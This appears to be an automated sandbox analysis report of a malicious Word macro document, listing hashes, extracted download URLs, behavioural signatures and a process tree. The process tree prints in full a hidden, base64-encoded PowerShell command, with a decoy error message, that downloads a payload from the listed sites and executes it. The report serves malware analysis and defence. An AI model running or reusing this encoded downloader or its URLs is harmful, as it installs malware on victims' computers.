Analysis
-
max time kernel
56s -
max time network
63s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
10/11/2024, 22:08
Behavioral task
behavioral1
Sample
04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912.doc
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912.doc
Resource
win10v2004-20241007-en
General
-
Target
04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912.doc
-
Size
155KB
-
MD5
81be90af006dfe897d3bc7a6f41b2533
-
SHA1
668b325b769e60be1a2cc4e009ba00e498cbb698
-
SHA256
04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912
-
SHA512
a7c483474b78068015263605a4d5f91af1af10c980d363ef3cc57dabcba955526819453f0d346c87fa008daf95371a5d73b21a2f959a2cb4ce050e09bb4d6b10
-
SSDEEP
3072:CzP09JIVOorWcj9ufstRUUKSns8T00JSHUgteMJ8qMD7gMO:CzPkvCj9ufsfgIf0pL9
Malware Config
Extracted
http://haciaelsup.com/wp-includes/fhPe00/
http://gudafu.com/k/x/
https://raymodul.com/wp-admin/kZPis7j/
https://telelogical.com/user/SP0HX/
https://thinkily.com/css/N/
https://theloveiskindnetwork.com/wp-includes/Z/
https://iotachina.com/wp-content/jYKbuKG/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2944 4372 cmd.exe 83 -
Blocklisted process makes network request 9 IoCs
flow pid Process 26 4004 powershell.exe 28 4004 powershell.exe 30 4004 powershell.exe 32 4004 powershell.exe 34 4004 powershell.exe 42 4004 powershell.exe 44 4004 powershell.exe 82 4004 powershell.exe 85 4004 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4004 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4124 WINWORD.EXE 4124 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4004 powershell.exe 4004 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4004 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 4124 WINWORD.EXE 4124 WINWORD.EXE 4124 WINWORD.EXE 4124 WINWORD.EXE 4124 WINWORD.EXE 4124 WINWORD.EXE 4124 WINWORD.EXE 4124 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2944 wrote to memory of 1696 2944 cmd.exe 88 PID 2944 wrote to memory of 1696 2944 cmd.exe 88 PID 2944 wrote to memory of 4004 2944 cmd.exe 89 PID 2944 wrote to memory of 4004 2944 cmd.exe 89
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4124
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAdgAgACAATwBwAHEAdQA5ADIAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADQAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQAiACAALQBGACAAJwAuAEQAaQByAEUAJwAsACcAUwAnACwAJwBSAHkAJwAsACcATwAnACwAJwBZAFMAVABFAG0ALgBJACcALAAnAEMAVABPACcAKQAgACAAKQA7AFMAZQB0AC0AaQB0AGUATQAgAHYAQQByAGkAYQBCAEwAZQA6ADQATABhAGkAIAAoACAAWwB0AFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANgB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAC4AUwBlAFIAdgAnACwAJwBFAE0ALgBuAGUAVAAnACwAJwBTAFQAJwAsACcARwAnACwAJwBzAFkAJwAsACcAZQBSACcALAAnAEkAYwBFAHAAbwBJAE4AVABtAEEATgBhACcAKQApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAJwArACcAbABlACcAKQArACcAbgB0ACcAKwAoACcAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFYAbgA2ADQAMABpAHMAPQAkAEQANQA5AFkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcANwBfAFYAOwAkAEYANgA4AE8APQAoACgAJwBVADQAJwArACcAMAAnACkAKwAnAFEAJwApADsAIAAgACgAIAAgAEcAZQB0AC0AYwBoAEkAbABkAGkAVABlAE0AIAB2AEEAcgBJAGEAYgBMAEUAOgBPAHAAcQB1ADkAMgAgACAAKQAuAHYAYQBMAFUARQA6ADoAIgBDAGAAUgBFAGEAYABUAGUAZABJAHIARQBDAGAAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBXAG0AJwArACcAMQBGAHgAOQAnACkAKwAnAHcAaQAnACsAKAAnAHcAMABXACcAKwAnAG0AJwApACsAKAAnADEAJwArACcAWABwACcAKQArACgAJwAyADgAJwArACcAcABzAGkAVwBtACcAKwAnADEAJwApACkALgAiAHIAYABlAFAAbABgAEEAQwBlACIAKAAoAFsAYwBIAGEAcgBdADgANwArAFsAYwBIAGEAcgBdADEAMAA5ACsAWwBjAEgAYQByAF0ANAA5ACkALAAnAFwAJwApACkAKQA7ACQATgAxADkARAA9ACgAKAAnAFAAJwArACcAMABfACcAKQArACcATwAnACkAOwAgACAAJAA0AGwAYQBpADoAOgAiAHMAZQBgAGMAdQBSAGkAdABZAHAAYABSAE8AYABUAG8AYABDAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUAA0ADIARAA9ACgAJwBOACcAKwAoACcANgA3ACcAKwAnAEIAJwApACkAOwAkAFQAegBiADIAbwBsADEAIAA9ACAAKAAnAEEAJwArACgAJwBfADkAJwArACcASwAnACkAKQA7ACQATQA5ADQAVAA9ACgAJwBPADcAJwArACcAMABLACcAKQA7ACQAQQA2AG0ANgBwAHEAeQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEYAeAA5AHcAJwArACgAJwBpACcAKwAnAHcAMAAnACkAKwAnAHsAMAB9AFgAcAAnACsAJwAyACcAKwAoACcAOABwACcAKwAnAHMAJwApACsAJwBpAHsAMAB9ACcAKQAtAGYAIABbAGMASABhAFIAXQA5ADIAKQArACQAVAB6AGIAMgBvAGwAMQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEMANwA3AEUAPQAoACcAQQAnACsAKAAnADcAJwArACcANQBBACcAKQApADsAJABFADQAcgBzAHgAcwB3AD0AKAAnAF0AZQAnACsAKAAnADEAcgAnACsAJwBbACcAKwAnAFMAOgAvAC8AJwApACsAJwBoAGEAJwArACgAJwBjAGkAJwArACcAYQBlAGwAcwB1ACcAKwAnAHAAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBpAG4AJwApACsAJwBjAGwAJwArACgAJwB1AGQAZQBzACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAaABQAGUAMAAnACsAJwAwAC8AQAAnACsAJwBdACcAKQArACcAZQAnACsAKAAnADEAcgBbACcAKwAnAFMAOgAnACsAJwAvAC8AZwAnACkAKwAoACcAdQBkAGEAJwArACcAZgAnACkAKwAoACcAdQAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AawAvAHgALwBAAF0AZQAnACsAJwAxAHIAWwAnACkAKwAoACcAUwBzADoAJwArACcALwAvAHIAYQAnACsAJwB5ACcAKQArACcAbQBvACcAKwAoACcAZAAnACsAJwB1AGwALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAFoAUAAnACkAKwAoACcAaQAnACsAJwBzADcAagAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxACcAKwAnAHIAWwBTACcAKQArACgAJwBzADoALwAnACsAJwAvAHQAZQBsACcAKQArACgAJwBlACcAKwAnAGwAbwBnACcAKwAnAGkAYwAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAHUAcwAnACsAJwBlACcAKwAnAHIAJwArACgAJwAvAFMAUAAnACsAJwAwAEgAJwApACsAKAAnAFgALwBAAF0AZQAnACsAJwAxAHIAJwApACsAKAAnAFsAJwArACcAUwBzADoALwAvACcAKwAnAHQAaAAnACkAKwAnAGkAJwArACcAbgBrACcAKwAoACcAaQBsACcAKwAnAHkALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAHMAJwArACcAcwAvAE4ALwBAAF0AJwApACsAKAAnAGUAMQAnACsAJwByACcAKQArACcAWwAnACsAJwBTACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHQAaAAnACsAJwBlACcAKwAnAGwAbwAnACsAJwB2AGUAJwArACcAaQAnACsAJwBzACcAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcAbgBlAHQAdwAnACsAJwBvACcAKQArACcAcgAnACsAKAAnAGsALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwAvACcAKwAnAFoALwAnACkAKwAoACcAQABdAGUAMQByAFsAJwArACcAUwAnACsAJwBzADoAJwArACcALwAvACcAKQArACgAJwBpAG8AdAAnACsAJwBhACcAKQArACgAJwBjAGgAJwArACcAaQAnACsAJwBuAGEAJwArACcALgBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACkAKwAnAGoAJwArACcAWQAnACsAJwBLAGIAJwArACcAdQAnACsAJwBLAEcAJwArACcALwAnACkALgAiAFIAYABlAHAAbABgAEEAQwBFACIAKAAoACcAXQAnACsAKAAnAGUAJwArACcAMQByAFsAUwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABgAGwASQB0ACIAKAAkAFcANAA3AFgAIAArACAAJABWAG4ANgA0ADAAaQBzACAAKwAgACQASQA5ADkASAApADsAJABPADQANQBUAD0AKAAnAFcANgAnACsAJwAzAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHYANQBjADUAdgBuACAAaQBuACAAJABFADQAcgBzAHgAcwB3ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAKQAuACIAZABvAFcAbgBgAEwAbwBBAEQAYABGAGAASQBMAGUAIgAoACQASAB2ADUAYwA1AHYAbgAsACAAJABBADYAbQA2AHAAcQB5ACkAOwAkAEIANgA4AFgAPQAoACgAJwBYACcAKwAnADAANQAnACkAKwAnAEYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEANgBtADYAcABxAHkAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADcAMAAyADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAQQA2AG0ANgBwAHEAeQAsACgAJwBDAG8AJwArACgAJwBuAHQAcgAnACsAJwBvACcAKQArACgAJwBsACcAKwAnAF8AUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgBUAE8AYABTAFQAYABSAGkATgBnACIAKAApADsAJABPADkAMwBOAD0AKAAnAEQAJwArACgAJwA1ACcAKwAnADcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAA3ADgAUgA9ACgAJwBHACcAKwAoACcAMABfACcAKwAnAFoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQA5AEUAPQAoACcAUAAnACsAKAAnADgANAAnACsAJwBIACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵PID:1696
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgAHMAdgAgACAATwBwAHEAdQA5ADIAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADQAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQAiACAALQBGACAAJwAuAEQAaQByAEUAJwAsACcAUwAnACwAJwBSAHkAJwAsACcATwAnACwAJwBZAFMAVABFAG0ALgBJACcALAAnAEMAVABPACcAKQAgACAAKQA7AFMAZQB0AC0AaQB0AGUATQAgAHYAQQByAGkAYQBCAEwAZQA6ADQATABhAGkAIAAoACAAWwB0AFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANgB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAC4AUwBlAFIAdgAnACwAJwBFAE0ALgBuAGUAVAAnACwAJwBTAFQAJwAsACcARwAnACwAJwBzAFkAJwAsACcAZQBSACcALAAnAEkAYwBFAHAAbwBJAE4AVABtAEEATgBhACcAKQApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAJwArACcAbABlACcAKQArACcAbgB0ACcAKwAoACcAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFYAbgA2ADQAMABpAHMAPQAkAEQANQA5AFkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcANwBfAFYAOwAkAEYANgA4AE8APQAoACgAJwBVADQAJwArACcAMAAnACkAKwAnAFEAJwApADsAIAAgACgAIAAgAEcAZQB0AC0AYwBoAEkAbABkAGkAVABlAE0AIAB2AEEAcgBJAGEAYgBMAEUAOgBPAHAAcQB1ADkAMgAgACAAKQAuAHYAYQBMAFUARQA6ADoAIgBDAGAAUgBFAGEAYABUAGUAZABJAHIARQBDAGAAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBXAG0AJwArACcAMQBGAHgAOQAnACkAKwAnAHcAaQAnACsAKAAnAHcAMABXACcAKwAnAG0AJwApACsAKAAnADEAJwArACcAWABwACcAKQArACgAJwAyADgAJwArACcAcABzAGkAVwBtACcAKwAnADEAJwApACkALgAiAHIAYABlAFAAbABgAEEAQwBlACIAKAAoAFsAYwBIAGEAcgBdADgANwArAFsAYwBIAGEAcgBdADEAMAA5ACsAWwBjAEgAYQByAF0ANAA5ACkALAAnAFwAJwApACkAKQA7ACQATgAxADkARAA9ACgAKAAnAFAAJwArACcAMABfACcAKQArACcATwAnACkAOwAgACAAJAA0AGwAYQBpADoAOgAiAHMAZQBgAGMAdQBSAGkAdABZAHAAYABSAE8AYABUAG8AYABDAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUAA0ADIARAA9ACgAJwBOACcAKwAoACcANgA3ACcAKwAnAEIAJwApACkAOwAkAFQAegBiADIAbwBsADEAIAA9ACAAKAAnAEEAJwArACgAJwBfADkAJwArACcASwAnACkAKQA7ACQATQA5ADQAVAA9ACgAJwBPADcAJwArACcAMABLACcAKQA7ACQAQQA2AG0ANgBwAHEAeQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEYAeAA5AHcAJwArACgAJwBpACcAKwAnAHcAMAAnACkAKwAnAHsAMAB9AFgAcAAnACsAJwAyACcAKwAoACcAOABwACcAKwAnAHMAJwApACsAJwBpAHsAMAB9ACcAKQAtAGYAIABbAGMASABhAFIAXQA5ADIAKQArACQAVAB6AGIAMgBvAGwAMQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEMANwA3AEUAPQAoACcAQQAnACsAKAAnADcAJwArACcANQBBACcAKQApADsAJABFADQAcgBzAHgAcwB3AD0AKAAnAF0AZQAnACsAKAAnADEAcgAnACsAJwBbACcAKwAnAFMAOgAvAC8AJwApACsAJwBoAGEAJwArACgAJwBjAGkAJwArACcAYQBlAGwAcwB1ACcAKwAnAHAAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBpAG4AJwApACsAJwBjAGwAJwArACgAJwB1AGQAZQBzACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAaABQAGUAMAAnACsAJwAwAC8AQAAnACsAJwBdACcAKQArACcAZQAnACsAKAAnADEAcgBbACcAKwAnAFMAOgAnACsAJwAvAC8AZwAnACkAKwAoACcAdQBkAGEAJwArACcAZgAnACkAKwAoACcAdQAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AawAvAHgALwBAAF0AZQAnACsAJwAxAHIAWwAnACkAKwAoACcAUwBzADoAJwArACcALwAvAHIAYQAnACsAJwB5ACcAKQArACcAbQBvACcAKwAoACcAZAAnACsAJwB1AGwALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAFoAUAAnACkAKwAoACcAaQAnACsAJwBzADcAagAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxACcAKwAnAHIAWwBTACcAKQArACgAJwBzADoALwAnACsAJwAvAHQAZQBsACcAKQArACgAJwBlACcAKwAnAGwAbwBnACcAKwAnAGkAYwAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAHUAcwAnACsAJwBlACcAKwAnAHIAJwArACgAJwAvAFMAUAAnACsAJwAwAEgAJwApACsAKAAnAFgALwBAAF0AZQAnACsAJwAxAHIAJwApACsAKAAnAFsAJwArACcAUwBzADoALwAvACcAKwAnAHQAaAAnACkAKwAnAGkAJwArACcAbgBrACcAKwAoACcAaQBsACcAKwAnAHkALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAHMAJwArACcAcwAvAE4ALwBAAF0AJwApACsAKAAnAGUAMQAnACsAJwByACcAKQArACcAWwAnACsAJwBTACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHQAaAAnACsAJwBlACcAKwAnAGwAbwAnACsAJwB2AGUAJwArACcAaQAnACsAJwBzACcAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcAbgBlAHQAdwAnACsAJwBvACcAKQArACcAcgAnACsAKAAnAGsALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwAvACcAKwAnAFoALwAnACkAKwAoACcAQABdAGUAMQByAFsAJwArACcAUwAnACsAJwBzADoAJwArACcALwAvACcAKQArACgAJwBpAG8AdAAnACsAJwBhACcAKQArACgAJwBjAGgAJwArACcAaQAnACsAJwBuAGEAJwArACcALgBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACkAKwAnAGoAJwArACcAWQAnACsAJwBLAGIAJwArACcAdQAnACsAJwBLAEcAJwArACcALwAnACkALgAiAFIAYABlAHAAbABgAEEAQwBFACIAKAAoACcAXQAnACsAKAAnAGUAJwArACcAMQByAFsAUwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABgAGwASQB0ACIAKAAkAFcANAA3AFgAIAArACAAJABWAG4ANgA0ADAAaQBzACAAKwAgACQASQA5ADkASAApADsAJABPADQANQBUAD0AKAAnAFcANgAnACsAJwAzAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHYANQBjADUAdgBuACAAaQBuACAAJABFADQAcgBzAHgAcwB3ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAKQAuACIAZABvAFcAbgBgAEwAbwBBAEQAYABGAGAASQBMAGUAIgAoACQASAB2ADUAYwA1AHYAbgAsACAAJABBADYAbQA2AHAAcQB5ACkAOwAkAEIANgA4AFgAPQAoACgAJwBYACcAKwAnADAANQAnACkAKwAnAEYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEANgBtADYAcABxAHkAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADcAMAAyADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAQQA2AG0ANgBwAHEAeQAsACgAJwBDAG8AJwArACgAJwBuAHQAcgAnACsAJwBvACcAKQArACgAJwBsACcAKwAnAF8AUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgBUAE8AYABTAFQAYABSAGkATgBnACIAKAApADsAJABPADkAMwBOAD0AKAAnAEQAJwArACgAJwA1ACcAKwAnADcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAA3ADgAUgA9ACgAJwBHACcAKwAoACcAMABfACcAKwAnAFoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQA5AEUAPQAoACcAUAAnACsAKAAnADgANAAnACsAJwBIACcAKQApAA==2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4004
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
16B
MD5d29962abc88624befc0135579ae485ec
SHA1e40a6458296ec6a2427bcb280572d023a9862b31
SHA256a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA5124311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize1KB
MD5d244e414de15a82654b46c67edb8d04d
SHA11ab39b153912574633e2641fe7ed03163f50f2a1
SHA256dc4a5845a7277a697fb742c3afc5942d1c54548ef0fc0524699983229ae62609
SHA5128e88308b8cfa650ae38fdac97166e2fb2dd6e63cd90d2e02ebc4b1789405489a0cc83b94938914ed55ae92af1f7a028203a3cfbef72a7e0c0d2d43537dfcfa67